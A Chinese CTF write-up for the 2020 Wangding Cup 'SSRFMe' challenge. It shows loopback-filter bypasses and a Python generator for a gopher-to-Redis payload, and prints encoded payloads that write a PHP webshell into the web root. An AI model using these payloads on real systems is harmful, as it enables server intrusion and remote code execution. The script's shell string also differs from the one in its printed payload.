[网鼎杯 2020 玄武组]SSRFMe

考点

wp

打开靶机给了源码

第一个函数check_inner_ip，传入的URL必须以http https gopher dict开头，然后用parse_url解析获取hostname

gethostbyname()函数用于获取hostname对应的IPv4地址，失败则返回hostname

ip2long()函数用于把IPv4地址转换为长整数

传入的URL对应的IP格式必须是127.* 10.* 172.16.* 192.168.*

否则返回False

function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

第二个函数safe_request_url，传入的url如果符合check_inner_ip函数的要求，就直接输出url

如果传入的不是私有地址，就使用PHP curl获取页面。如果私有地址中间有302跳转，就把跳转的目标url再用safe_request_url函数访问，这样就避免了用302跳转绕过本地限制

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}

最后一段，提示先访问本地的hint.php

if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
} 
// Please visit hint.php locally.

这些操作相当于限制本地访问，同时要求访问本地hint.php

常用策略就是八进制十六进制全0 等方法

http://0.0.0.0/hint.php    只能Linux下用
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php

得到新代码，向POST传入的file参数写入"<?php echo 'redispass is root';exit();".$_POST['file']

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

这里给了提示redis密码为root

用下面脚本生成payload

from urllib.parse import quote

protocol="gopher://"
ip="0.0.0.0"
port="6379"
shell="<?php system('cat /flag');?>"
filename="b.php"
path="/var/www/html"
passwd="root"
cmd=["auth root",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
payload=''
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd
def generate_payload():
    global payload
    for x in cmd:
        payload += quote(redis_format(x))
    return payload

print(generate_payload())

payload

gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A2%0D%0A%244%0D%0Aauth%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%3C%3Fphp%20var_dump%28readfile%28%27/flag%27%29%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%245%0D%0Ab.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

再URL编码一下

gopher://0.0.0.0:6379/_%252a2%250d%250a%25244%250d%250aauth%250d%250a%25244%250d%250aroot%250d%250a%252a2%250d%250a%25244%250d%250aauth%250d%250a%25244%250d%250aroot%250d%250a%252a3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252436%250d%250a%253c%253fphp%2520var_dump%2528readfile%2528%2527%2fflag%2527%2529%2529%253b%253f%253e%250d%250a%252a4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2fvar%2fwww%2fhtml%250d%250a%252a4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25245%250d%250ab.php%250d%250a%252a1%250d%250a%25244%250d%250asave%250d%250a

在靶机直接打?url=payload，然后访问b.php即可